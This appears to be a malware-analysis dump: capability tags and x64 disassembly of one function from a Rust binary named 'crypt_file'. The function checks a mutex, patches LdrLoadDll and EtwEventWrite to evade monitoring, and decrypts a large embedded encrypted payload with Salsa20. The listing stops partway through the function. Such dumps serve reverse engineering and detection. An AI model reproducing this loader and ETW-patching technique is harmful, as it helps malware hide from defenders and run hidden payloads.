Function at 0x140006600
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha
Patch event tracing for windows function

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc98
movdqa xmmword [rsp + 0xc80], xmm15
movdqa xmmword [rsp + 0xc70], xmm14
movdqa xmmword [rsp + 0xc60], xmm13
movdqa xmmword [rsp + 0xc50], xmm12
movdqa xmmword [rsp + 0xc40], xmm11
movdqa xmmword [rsp + 0xc30], xmm10
movdqa xmmword [rsp + 0xc20], xmm9
movdqa xmmword [rsp + 0xc10], xmm8
movdqa xmmword [rsp + 0xc00], xmm7
movdqa xmmword [rsp + 0xbf0], xmm6
movabs r13, 0x8000000000000000
lea rdx, str.MUTEXCString::new_failedsrc_main.rs
lea rcx, [rsp + 0x8b8]
mov r8d, 5
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h98f71d681ea10faf
cmp qword [rsp + 0x8b8], r13
jne 0x14000881f
mov rsi, qword [rsp + 0x8c0]
mov rdi, qword [rsp + 0x8c8]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x14000675b
mov byte [rsi], 0
test rdi, rdi
je 0x140008796
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0xbf0]
movaps xmm7, xmmword [rsp + 0xc00]
movaps xmm8, xmmword [rsp + 0xc10]
movaps xmm9, xmmword [rsp + 0xc20]
movaps xmm10, xmmword [rsp + 0xc30]
movaps xmm11, xmmword [rsp + 0xc40]
movaps xmm12, xmmword [rsp + 0xc50]
movaps xmm13, xmmword [rsp + 0xc60]
movaps xmm14, xmmword [rsp + 0xc70]
movaps xmm15, xmmword [rsp + 0xc80]
add rsp, 0xc98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp sym.__rust_dealloc
lea rcx, [0x14018f3a8]
call sub.kernel32.dll_LoadLibraryA
test rax, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
je 0x140008891
lea rdx, str.LdrLoadDll
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400088d6
mov rsi, rax
add rsi, 5
mov edx, 0x13
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
mov dword [rax], 0x245c8948
mov word [rax + 4], 0x4910
mov byte [rax + 6], 0xbb
mov qword [rax + 7], rsi
mov dword [rax + 0xf], 0xc3e3ff41
mov dword [rsp + 0x8b8], 0
lea r9, [rsp + 0x8b8]
mov edx, 0x1e
mov rcx, rax
mov r8d, 0x20
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1400088e2
mov dword [rsp + 0xaa8], 0xc3
lea rcx, [0x14018f3a8]
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140008927
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14000896c
mov rsi, rax
mov dword [rsp + 0x8b8], 0
lea r9, [rsp + 0x8b8]
mov edx, 1
mov rcx, rax
mov r8d, 4
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x14000897d
call sub.kernel32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0xaa8]
mov r9d, 1
mov rcx, rax
mov rdx, rsi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x1400089ca
mov r8d, dword [rsp + 0x8b8]
lea r9, [rsp + 0x8b8]
mov edx, 1
mov rcx, rsi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140008a17
call sub.kernel32.dll_GetCurrentProcess
mov r8d, 1
mov rcx, rax
mov rdx, rsi
call sub.kernel32.dll_FlushInstructionCache
test eax, eax
je 0x140008a61
lea rax, str.U004F_U00C8_U008C_U00A3_U002F_U0025_U0073_U0077_U0082_U007D_U005A_U00A9_U0012_U00A6_U009F_U00AB_U00E6_U006C_U002F_U00EA_U00C5_U00E7_U003E_U00AC_U00FC_U00A5_U0001_U0023_U006F_U0038_U003F_U00B1_U00B1_U000C_U00CF_U0081_U009D_U00BF_U005D_U0058_U007C_U0089_U004F_U00D1_U0000_U002F_U00C8_U00B9_U0045_U00BF_U00D4_U002E_U00F9_U0048_U0078_U00CE_U0052_U0021_U00AE_U00DB_U00AF_U00F0_U00C5_U0072_U0050_U00CF_U0003_U0098_U009D_U0069_U00AC_U00A8_U0050_U00DA_U0048_U009C_U00D9_U0017_U00E3_U00D7_U0043_U00C8_U0015_U0056_U00FA_U00E4_U000E_U0098_U00C2_U0081_U0080_U0090_U0074_U00D5_U009B_U0080_U00BD_U00B7_U0017_U0058_U00F0_U0062_U008B_U0074_U005F_U002A_U009A_U00D2_U0022_U004A_U0057_U0033_U00B9_U0031_U0090_U00DE_U00E8_U006E_U009B_U00F2_U0024_U00CE_U0020_U002A_U0024_U004A_U001F_U00E5_U0070_U000A_U005E_U0022_U0043_U008A_U003A_U005F_U0019_U00E7_U0084_U001C_U0008_U008D_U00E8_U00AF_U007E_U0014_U009B_U0000_U000A_U008F_U0010_U001F_U0060_U00B8_U006F_U0038_U0007_U002A_U00C2_U004A_U00A1_U0032_U007F_U0005_U00A7_U004F_U00F2_U0031_U001F_U0047_U0064_U001D_U003C_U002D_U007F_U0073_U0022_U0091_U0013_U0016_U0016_U005F_U00B1_U001F_U005A_U0091_U00F5_U0005_U007E_U00A7_U00C8_U0073_U00EC_U001E_U006C_U0079_U0078_U008B_U00DF_U0052_U0005_U007F_U003D_U0061_U001A_U0079_U00E9_U00A4_U0031_U0020_U00A7_U0035_U00B5_U00CC_U00EC_U00B1_U001D_U0044_U001B_U00CB_U006B_U0035_U0028_U000D_U0068_U00F7_U00F6_U00EC_U00EC_U0091_U0027_U00F9_U0002_U00A7_U00B9_U00C9_U001D_U0093_U000A_U00FB_U0040_U0023_U00EB_U00F1_U0025_U00E0_U009F_U0058_U00F8_U00DC_U0032_U0042_U006E_U00AC_U00CD_U00E6_U00EC_U0059_U00A9_U00E8_U00B2_U0043_U00CC_U0099_U0089_U00D8_U00CE_U00B8_U0025_U0059_U0090_U00A1_U003D_U0072_U001E_U0006_U0036_U00AA_U00B4_U00D5_U00DD_U00EB_U0043_U00B9_U00BA_U0015_U005D_U003F_U0007_U0047_U0006_U0003_U00BE_U0086_U00A7_U00EF_U00FA_U00A3_U00D0_U007C_U0065_U00DE_U0064_U00DA_U00FC_U003F_U00CF_U00C3_U0082_U0035_U00BF_U0083_U001F_U0052_U00F0_U00C1_U002C_U003D_U00E7_U0040_U00F1_U0089_U002D_U0056_U00D8_U0001_U0097_U00AD_U002C_U0045_U0046_U00DD_U0094_U00D8_U00DD_U0087_U000E_U0065_U005B_U000B_U004B_U00D1_U0033_U00A3_U00D9_U00B7_U00BC_U00F5_U0000_U00CB_U0053_U00FF_U0001_U00A5_U005E_U0013_U00DD_U00A5_U0080_U0059_U00A9_U00C7_U0089_U0079_U008D_U00E8_U0051_U00B2_U00D9_U00D7_U00AD_U0048_U00EF_U00CE_U0047_U00E4_U0015_U00FF_U00CF_U0039_U00C4_U003B_U005C_U00DC_U0076_U00EA_U00F1_U005F_U0079_U008B_U00B5_U0073_U00B2_U00D6_U00B7_U0041_U0027_U0039_U0000_U0002_U00B5_U0029_U00CC_U00AF_U00E0_U00C4_U0014_U0055_U0093_U00B7_U007B_U00BB_U00A0_U0052_U0039_U00D7_U0087_U0009_U00F8_U00D1_U00A2_U0016_U00FC_U00EA_U00FD_U000E_U005C_U006C_U009D_U006F_U0001_U001A_U009C_U00CB_U0071_U00F3_U00C3_U003D_U00E3_U0059_U0054_U0000_U00CD_U00F1_U0064_U00CF_U00B0_U00ED_U00A6_U00C7_U00EA_U00B6_U008F_U00EA_U0098_U008C_U0042_U00C7_U00CF_U0056_U0033_U0025_U00D1_U00D6_U0085_U000F_U00BD_U004F_U009B_U0015_U00AE_U00BE_U0041_U002F_U000E_U0003_U006A_U0001_U009A_U0057_U00CD_U002C_U0056_U00A3_U0073_U0001_U004E_U0075_U005F_U00C3_U00CE_U0051_U0070_U0048_U0011_U00A9_U00C4_U00B2_U0003_U007B_U004A_U0007_U0040_U0093_U0032_U000B_U007B_U00F6_U00FC_U0095_U0050_U00D5_U008C_U0003_U00E2_U0071_U006C_U005D_U00A7_U0014_U0010_U00B5_U008C_U0050_U0072_U003F_U0014_U006F_U0046_U0005_U00E8_U006B_U001F_U003C_U007C_U00E9_U0086_U0042_U00A7_U0009_U002C_U00CB_U0060_U00AE_U00E9_U00F1_U0099_U006D_U00CE_U000D_U008D_U00B9_U00D9_U0031_U0075_U002F_U00EC_U008B_U0014_U00FB_U007D_U004F_U0060_U0091_U00AA_U0014_U0041_U0018_U0000_U0081_U0031_U00B2_U0064_U006D_U00BA_U0059_U000E_U006F_U00AA_U00BD_U005F_U0012_U00F3_U0088_U001A_U
mov qword [rsp + 0x8b8], rax
mov qword [rsp + 0x8c0], 0x1794
lea rax, [0x140190bfc]
mov qword [rsp + 0x8c8], rax
mov qword [rsp + 0x8d0], 0x1794
lea rax, [0x140192390]
mov qword [rsp + 0x8d8], rax
mov qword [rsp + 0x8e0], 0x1794
lea rax, [0x140193b24]
mov qword [rsp + 0x8e8], rax
mov qword [rsp + 0x8f0], 0x1794
lea rax, [0x1401952b8]
mov qword [rsp + 0x8f8], rax
mov qword [rsp + 0x900], 0x1794
lea rax, [0x140196a4c]
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0x1794
lea rax, [0x1401981e0]
mov qword [rsp + 0x918], rax
mov qword [rsp + 0x920], 0x1794
lea rax, [0x140199974]
mov qword [rsp + 0x928], rax
mov qword [rsp + 0x930], 0x1794
lea rax, [0x14019b108]
mov qword [rsp + 0x938], rax
mov qword [rsp + 0x940], 0x1794
lea rax, [0x14019c89c]
mov qword [rsp + 0x948], rax
mov qword [rsp + 0x950], 0x1794
lea rax, [0x14019e030]
mov qword [rsp + 0x958], rax
mov qword [rsp + 0x960], 0x1794
lea rax, [0x14019f7c4]
mov qword [rsp + 0x968], rax
mov qword [rsp + 0x970], 0x1794
lea rax, [0x1401a0f58]
mov qword [rsp + 0x978], rax
mov qword [rsp + 0x980], 0x1794
lea rax, [0x1401a26ec]
mov qword [rsp + 0x988], rax
mov qword [rsp + 0x990], 0x1794
lea rax, [0x1401a3e80]
mov qword [rsp + 0x998], rax
mov qword [rsp + 0x9a0], 0x1794
lea rax, [0x1401a5614]
mov qword [rsp + 0x9a8], rax
mov qword [rsp + 0x9b0], 0x1794
lea rax, [0x1401a6da8]
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x9c0], 0x1794
lea rax, [0x1401a853c]
mov qword [rsp + 0x9c8], rax
mov qword [rsp + 0x9d0], 0x1794
lea rax, [0x1401a9cd0]
mov qword [rsp + 0x9d8], rax
mov qword [rsp + 0x9e0], 0x1794
lea rax, [0x1401ab464]
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x9f0], 0x1794
lea rax, [0x1401acbf8]
mov qword [rsp + 0x9f8], rax
mov qword [rsp + 0xa00], 0x1794
lea rax, [0x1401ae38c]
mov qword [rsp + 0xa08], rax
mov qword [rsp + 0xa10], 0x1794
lea rax, [0x1401afb20]
mov qword [rsp + 0xa18], rax
mov qword [rsp + 0xa20], 0x1794
lea rax, [0x1401b12b4]
mov qword [rsp + 0xa28], rax
mov qword [rsp + 0xa30], 0x1794
lea rax, [0x1401b2a48]
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0xa40], 0x1794
lea rax, [0x1401b41dc]
mov qword [rsp + 0xa48], rax
mov qword [rsp + 0xa50], 0x1794
lea rax, [0x1401b5970]
mov qword [rsp + 0xa58], rax
mov qword [rsp + 0xa60], 0x1794
lea rax, [0x1401b7104]
mov qword [rsp + 0xa68], rax
mov qword [rsp + 0xa70], 0x1794
lea rax, [0x1401b8898]
mov qword [rsp + 0xa78], rax
mov qword [rsp + 0xa80], 0x1794
lea rax, [0x1401ba02c]
mov qword [rsp + 0xa88], rax
mov qword [rsp + 0xa90], 0x1794
lea rax, [0x1401bb7c0]
mov qword [rsp + 0xa98], rax
mov qword [rsp + 0xaa0], 0xd00
lea rax, [0x1401bc4c0]
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], 3
lea rcx, [0x1401bc4c3]
mov qword [rsp + 0x410], rcx
mov qword [rsp + 0x418], 3
lea rcx, [0x1401bc4c6]
mov qword [rsp + 0x420], rcx
mov qword [rsp + 0x428], 3
lea r9, [0x1401bc4c9]
mov qword [rsp + 0x430], r9
mov qword [rsp + 0x438], 3
lea rdx, [0x1401bc4cc]
mov qword [rsp + 0x440], rdx
mov qword [rsp + 0x448], 3
lea rdx, [0x1401bc4cf]
mov qword [rsp + 0x450], rdx
mov qword [rsp + 0x458], 3
lea r8, [0x1401bc4d2]
mov qword [rsp + 0x460], r8
mov qword [rsp + 0x468], 3
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], 3
lea r8, [0x1401bc4d5]
mov qword [rsp + 0x480], r8
mov qword [rsp + 0x488], 3
mov qword [rsp + 0x490], rcx
mov qword [rsp + 0x498], 3
lea r8, [0x1401bc4d8]
mov qword [rsp + 0x4a0], r8
mov qword [rsp + 0x4a8], 3
lea r10, [0x1401bc4db]
mov qword [rsp + 0x4b0], r10
mov qword [rsp + 0x4b8], 3
mov qword [rsp + 0x4c0], rdx
mov qword [rsp + 0x4c8], 3
lea r10, [0x1401bc4de]
mov qword [rsp + 0x4d0], r10
mov qword [rsp + 0x4d8], 3
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], 3
lea r10, [0x1401bc4e1]
mov qword [rsp + 0x4f0], r10
mov qword [rsp + 0x4f8], 3
mov qword [rsp + 0x500], rcx
mov qword [rsp + 0x508], 3
lea r10, [0x1401bc4e4]
mov qword [rsp + 0x510], r10
mov qword [rsp + 0x518], 3
lea r10, [0x1401bc4e7]
mov qword [rsp + 0x520], r10
mov qword [rsp + 0x528], 3
mov qword [rsp + 0x530], rdx
mov qword [rsp + 0x538], 3
lea r11, [0x1401bc4ea]
mov qword [rsp + 0x540], r11
mov qword [rsp + 0x548], 3
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x558], 3
lea r11, [0x1401bc4ed]
mov qword [rsp + 0x560], r11
mov qword [rsp + 0x568], 3
mov qword [rsp + 0x570], rcx
mov qword [rsp + 0x578], 3
lea r11, [0x1401bc4f0]
mov qword [rsp + 0x580], r11
mov qword [rsp + 0x588], 3
mov qword [rsp + 0x590], r10
mov qword [rsp + 0x598], 3
mov qword [rsp + 0x5a0], rdx
mov qword [rsp + 0x5a8], 3
lea r11, [0x1401bc4f3]
mov qword [rsp + 0x5b0], r11
mov qword [rsp + 0x5b8], 3
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], 3
lea rsi, [0x1401bc4f6]
mov qword [rsp + 0x5d0], rsi
mov qword [rsp + 0x5d8], 3
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], 3
mov qword [rsp + 0x5f0], r8
mov qword [rsp + 0x5f8], 3
lea rsi, [0x1401bc4f9]
mov qword [rsp + 0x600], rsi
mov qword [rsp + 0x608], 3
mov qword [rsp + 0x610], rdx
mov qword [rsp + 0x618], 3
lea rdi, [0x1401bc4fc]
mov qword [rsp + 0x620], rdi
mov qword [rsp + 0x628], 3
mov qword [rsp + 0x630], rax
mov qword [rsp + 0x638], 3
lea rdi, [0x1401bc4ff]
mov qword [rsp + 0x640], rdi
mov qword [rsp + 0x648], 3
mov qword [rsp + 0x650], rcx
mov qword [rsp + 0x658], 3
mov qword [rsp + 0x660], r9
mov qword [rsp + 0x668], 3
lea rdi, [0x1401bc502]
mov qword [rsp + 0x670], rdi
mov qword [rsp + 0x678], 3
mov qword [rsp + 0x680], rdx
mov qword [rsp + 0x688], 3
lea rdi, [0x1401bc505]
mov qword [rsp + 0x690], rdi
mov qword [rsp + 0x698], 3
mov qword [rsp + 0x6a0], rax
mov qword [rsp + 0x6a8], 3
lea rdi, [0x1401bc508]
mov qword [rsp + 0x6b0], rdi
mov qword [rsp + 0x6b8], 3
mov qword [rsp + 0x6c0], rcx
mov qword [rsp + 0x6c8], 3
lea rdi, [0x1401bc50b]
mov qword [rsp + 0x6d0], rdi
mov qword [rsp + 0x6d8], 3
mov qword [rsp + 0x6e0], r10
mov qword [rsp + 0x6e8], 3
mov qword [rsp + 0x6f0], rdx
mov qword [rsp + 0x6f8], 3
lea rdi, [0x1401bc50e]
mov qword [rsp + 0x700], rdi
mov qword [rsp + 0x708], 3
mov qword [rsp + 0x710], rax
mov qword [rsp + 0x718], 3
lea rdi, [0x1401bc511]
mov qword [rsp + 0x720], rdi
mov qword [rsp + 0x728], 3
mov qword [rsp + 0x730], rcx
mov qword [rsp + 0x738], 3
lea rdi, [0x1401bc514]
mov qword [rsp + 0x740], rdi
mov qword [rsp + 0x748], 3
lea rdi, [0x1401bc517]
mov qword [rsp + 0x750], rdi
mov qword [rsp + 0x758], 3
mov qword [rsp + 0x760], rdx
mov qword [rsp + 0x768], 3
lea rdi, [0x1401bc51a]
mov qword [rsp + 0x770], rdi
mov qword [rsp + 0x778], 3
mov qword [rsp + 0x780], rax
mov qword [rsp + 0x788], 3
lea rdi, [0x1401bc51d]
mov qword [rsp + 0x790], rdi
mov qword [rsp + 0x798], 3
mov qword [rsp + 0x7a0], rcx
mov qword [rsp + 0x7a8], 3
lea rdi, [0x1401bc520]
mov qword [rsp + 0x7b0], rdi
mov qword [rsp + 0x7b8], 3
mov qword [rsp + 0x7c0], rsi
mov qword [rsp + 0x7c8], 3
mov qword [rsp + 0x7d0], rdx
mov qword [rsp + 0x7d8], 3
mov qword [rsp + 0x7e0], r11
mov qword [rsp + 0x7e8], 3
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 3
lea r11, [0x1401bc523]
mov qword [rsp + 0x800], r11
mov qword [rsp + 0x808], 3
mov qword [rsp + 0x810], rcx
mov qword [rsp + 0x818], 3
mov qword [rsp + 0x820], r9
mov qword [rsp + 0x828], 3
mov qword [rsp + 0x830], r10
mov qword [rsp + 0x838], 3
mov qword [rsp + 0x840], rdx
mov qword [rsp + 0x848], 3
lea r9, [0x1401bc526]
mov qword [rsp + 0x850], r9
mov qword [rsp + 0x858], 3
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], 3
lea r9, [0x1401bc529]
mov qword [rsp + 0x870], r9
mov qword [rsp + 0x878], 3
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], 3
lea r9, [0x1401bc52c]
mov qword [rsp + 0x890], r9
mov qword [rsp + 0x898], 3
lea r10, [0x1401bc52f]
mov qword [rsp + 0x8a0], r10
mov qword [rsp + 0x8a8], 2
mov qword [rsp + 0xaa8], rax
mov qword [rsp + 0xab0], 3
lea r10, [0x1401bc531]
mov qword [rsp + 0xab8], r10
mov qword [rsp + 0xac0], 3
mov qword [rsp + 0xac8], rcx
mov qword [rsp + 0xad0], 3
mov qword [rsp + 0xad8], r9
mov qword [rsp + 0xae0], 3
lea r9, [0x1401bc534]
mov qword [rsp + 0xae8], r9
mov qword [rsp + 0xaf0], 3
mov qword [rsp + 0xaf8], rdx
mov qword [rsp + 0xb00], 3
lea r9, [0x1401bc537]
mov qword [rsp + 0xb08], r9
mov qword [rsp + 0xb10], 3
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0xb20], 3
lea r9, [0x1401bc53a]
mov qword [rsp + 0xb28], r9
mov qword [rsp + 0xb30], 3
mov qword [rsp + 0xb38], rcx
mov qword [rsp + 0xb40], 3
mov qword [rsp + 0xb48], r8
mov qword [rsp + 0xb50], 3
lea r8, [0x1401bc53d]
mov qword [rsp + 0xb58], r8
mov qword [rsp + 0xb60], 3
mov qword [rsp + 0xb68], rdx
mov qword [rsp + 0xb70], 3
lea rdx, [0x1401bc540]
mov qword [rsp + 0xb78], rdx
mov qword [rsp + 0xb80], 3
mov qword [rsp + 0xb88], rax
mov qword [rsp + 0xb90], 3
lea rax, [0x1401bc543]
mov qword [rsp + 0xb98], rax
mov qword [rsp + 0xba0], 3
mov qword [rsp + 0xba8], rcx
mov qword [rsp + 0xbb0], 3
lea rax, [0x1401bc546]
mov qword [rsp + 0xbb8], rax
mov qword [rsp + 0xbc0], 3
lea rax, [0x1401bc549]
mov qword [rsp + 0xbc8], rax
mov qword [rsp + 0xbd0], 2
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x8b8]
mov r8d, 0x1f
call sym.alloc::str::join_generic_copy::h45f95362beb03c3d
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x400]
mov r8d, 0x4b
mov qword [rsp + 0x1b8], rdi
call sym.alloc::str::join_generic_copy::h45f95362beb03c3d
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov rbx, qword [rsp + 0x80]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xaa8]
mov r8d, 0x13
call sym.alloc::str::join_generic_copy::h45f95362beb03c3d
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x60], rax
mov r14, qword [rsp + 0x80]
lea rcx, [rsp + 0x2e8]
mov rdx, rdi
mov r8, rsi
call sym.crypt_file::main::decode_unicode::h2df08eead1a11211
lea rcx, [rsp + 0x228]
mov rdx, qword [rsp + 0x68]
mov r8, rbx
call sym.crypt_file::main::decode_unicode::h2df08eead1a11211
lea rcx, [rsp + 0x240]
mov rdx, qword [rsp + 0x60]
mov r8, r14
call sym.crypt_file::main::decode_unicode::h2df08eead1a11211
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x30], rax
mov r14, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x238]
cmp rax, 0x20
mov r9d, 0x20
cmovb r9, rax
test rax, rax
je 0x140008802
mov rdx, qword [rsp + 0x230]
lea rcx, [rdx + rax]
cmp rax, 1
jne 0x1400075f4
xor r8d, r8d
test r9b, 1
je 0x140007640
cmp rdx, rcx
je 0x140007638
movzx r9d, byte [rdx]
inc rdx
jmp 0x14000763b
mov r10d, r9d
and r10d, 0x3e
xor r8d, r8d
jmp 0x14000760e
mov byte [rsp + r8 + 0x71], bl
add r8, 2
cmp r10, r8
je 0x1400075e0
mov r11, rcx
cmp rdx, rcx
je 0x14000761f
movzx ebx, byte [rdx]
inc rdx
mov r11, rdx
mov byte [rsp + r8 + 0x70], bl
mov rdx, rcx
cmp r11, rcx
je 0x140007600
movzx ebx, byte [r11]
inc r11
mov rdx, r11
jmp 0x140007600
mov rdx, rcx
mov byte [rsp + r8 + 0x70], r9b
cmp rax, 0x20
jb 0x140008802
cmp rdx, rcx
jne 0x140008802
mov rax, qword [rsp + 0x250]
test rax, rax
je 0x140008802
mov rbp, qword [rsp + 0x2f8]
movdqa xmm1, xmmword [rsp + 0x70]
movdqa xmm0, xmmword [rsp + 0x80]
mov rdx, qword [rsp + 0x248]
lea rcx, [rdx + rax]
movzx r9d, byte [rdx]
inc rdx
cmp rax, 1
je 0x14000778f
cmp rdx, rcx
je 0x1400076a6
movzx r8d, byte [rdx]
inc rdx
jmp 0x1400076a9
mov rdx, rcx
movzx r8d, r8b
shl r8d, 8
or r8, r9
cmp rax, 2
je 0x14000778c
cmp rdx, rcx
je 0x1400076cc
movzx r9d, byte [rdx]
inc rdx
jmp 0x1400076cf
mov rdx, rcx
movzx r9d, r9b
shl r9d, 0x10
or r8, r9
cmp rax, 3
je 0x14000778c
cmp rdx, rcx
je 0x1400076f2
movzx r9d, byte [rdx]
inc rdx
jmp 0x1400076f5
mov rdx, rcx
movzx r9d, r9b
shl r9d, 0x18
or r8, r9
cmp rax, 4
je 0x14000778c
cmp rdx, rcx
je 0x140007718
movzx r9d, byte [rdx]
inc rdx
jmp 0x14000771b
mov rdx, rcx
movzx r9d, r9b
shl r9, 0x20
or r8, r9
cmp rax, 5
je 0x14000778c
cmp rdx, rcx
je 0x14000773a
movzx r9d, byte [rdx]
inc rdx
jmp 0x14000773d
mov rdx, rcx
movzx r9d, r9b
shl r9, 0x28
or r8, r9
cmp rax, 6
je 0x14000778c
cmp rdx, rcx
je 0x14000775c
movzx r9d, byte [rdx]
inc rdx
jmp 0x14000775f
mov rdx, rcx
movzx r9d, r9b
shl r9, 0x30
or r8, r9
cmp rax, 7
je 0x14000778c
cmp rdx, rcx
je 0x14000777e
movzx r9d, byte [rdx]
inc rdx
jmp 0x140007781
mov rdx, rcx
movzx r9d, r9b
shl r9, 0x38
or r8, r9
mov r9, r8
cmp rax, 8
jb 0x140008802
cmp rdx, rcx
jne 0x140008802
mov rax, r9
shr rax, 0x20
pxor xmm2, xmm2
movdqu xmmword [rsp + 0x2c8], xmm2
movdqu xmmword [rsp + 0x2b8], xmm2
movdqu xmmword [rsp + 0x2a8], xmm2
movdqu xmmword [rsp + 0x298], xmm2
mov dword [rsp + 0x258], 0x61707865
movdqu xmmword [rsp + 0x25c], xmm1
mov dword [rsp + 0x26c], 0x3320646e
mov dword [rsp + 0x270], r9d
mov dword [rsp + 0x274], eax
mov qword [rsp + 0x278], 0
mov dword [rsp + 0x280], 0x79622d32
movdqu xmmword [rsp + 0x284], xmm0
mov dword [rsp + 0x294], 0x6b206574
mov qword [rsp + 0x2d8], 0
mov byte [rsp + 0x2e0], 0
mov rbx, rbp
and rbx, 0xffffffffffffffc0
mov qword [rsp + 0x28], rbp
and ebp, 0x3f
test rbx, rbx
je 0x140007cf2
xor esi, esi
lea r15, [rsp + 0x258]
lea r12, [rsp + 0x70]
xor edi, edi
nop word [rax + rax]
mov qword [rsp + 0x278], rdi
movups xmm0, xmmword [rsp + 0x258]
movups xmm1, xmmword [rsp + 0x268]
movups xmm2, xmmword [rsp + 0x288]
movaps xmmword [rsp + 0xa0], xmm2
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x98], rax
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rcx, r15
mov rdx, r12
call sym.salsa20::block::Block_R_::rounds::hd71eeceaf8888641
mov ecx, dword [rsp + 0x70]
mov eax, dword [rsp + 0x74]
movd xmm0, ecx
shr ecx, 8
movd xmm2, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm4, ecx
mov ecx, eax
movd xmm1, eax
movdqa xmm7, xmm0
shr eax, 8
shr ecx, 0x10
movd xmm5, ecx
mov ecx, dword [rsp + 0x78]
movd xmm8, eax
mov eax, ecx
shr eax, 0x18
movd xmm9, eax
mov eax, ecx
movd xmm3, ecx
movdqa xmm10, xmm0
shr ecx, 8
shr eax, 0x10
movd xmm11, eax
mov eax, dword [rsp + 0x7c]
movd xmm12, ecx
mov ecx, eax
psrld xmm7, 0x18
shr ecx, 0x18
movd xmm13, ecx
mov ecx, eax
psrld xmm10, 0x10
movd xmm14, eax
shr eax, 8
punpckldq xmm10, xmm7
shr ecx, 0x10
punpckldq xmm0, xmm2
punpckldq xmm5, xmm4
punpcklqdq xmm0, xmm10
punpckldq xmm1, xmm8
punpckldq xmm11, xmm9
punpckldq xmm3, xmm12
punpcklqdq xmm1, xmm5
movd xmm2, ecx
punpckldq xmm2, xmm13
movd xmm4, eax
punpcklqdq xmm3, xmm11
punpckldq xmm14, xmm4
punpcklqdq xmm14, xmm2
movdqa xmm6, xmmword [0x14018e7a0]
pand xmm14, xmm6
pand xmm3, xmm6
packuswb xmm3, xmm14
pand xmm1, xmm6
pand xmm0, xmm6
packuswb xmm0, xmm1
packuswb xmm0, xmm3
movdqu xmm2, xmmword [r14 + rsi]
movdqu xmm1, xmmword [r14 + rsi + 0x10]
pxor xmm2, xmm0
movups xmm0, xmmword [r14 + rsi + 0x20]
movaps xmmword [rsp + 0x1a0], xmm0
movdqu xmmword [r14 + rsi], xmm2
mov ecx, dword [rsp + 0x80]
mov eax, dword [rsp + 0x84]
movd xmm2, ecx
shr ecx, 8
movd xmm4, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm7, ecx
mov ecx, eax
movd xmm3, eax
shr eax, 8
shr ecx, 0x10
movd xmm8, ecx
mov ecx, dword [rsp + 0x88]
movd xmm9, eax
mov eax, ecx
movdqa xmm11, xmm2
shr eax, 0x18
movd xmm10, eax
mov eax, ecx
movdqa xmm12, xmm2
movd xmm5, ecx
shr ecx, 8
psrld xmm11, 0x18
shr eax, 0x10
movd xmm13, eax
mov eax, dword [rsp + 0x8c]
psrld xmm12, 0x10
movd xmm14, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm15, ecx
mov ecx, eax
movd xmm0, eax
punpckldq xmm12, xmm11
shr eax, 8
shr ecx, 0x10
punpckldq xmm2, xmm4
punpcklqdq xmm2, xmm12
punpckldq xmm8, xmm7
punpckldq xmm3, xmm9
punpckldq xmm13, xmm10
punpcklqdq xmm3, xmm8
punpckldq xmm5, xmm14
movd xmm4, ecx
punpckldq xmm4, xmm15
punpcklqdq xmm5, xmm13
movd xmm7, eax
punpckldq xmm0, xmm7
punpcklqdq xmm0, xmm4
pand xmm0, xmm6
pand xmm5, xmm6
pand xmm3, xmm6
pand xmm2, xmm6
packuswb xmm5, xmm0
packuswb xmm2, xmm3
packuswb xmm2, xmm5
pxor xmm2, xmm1
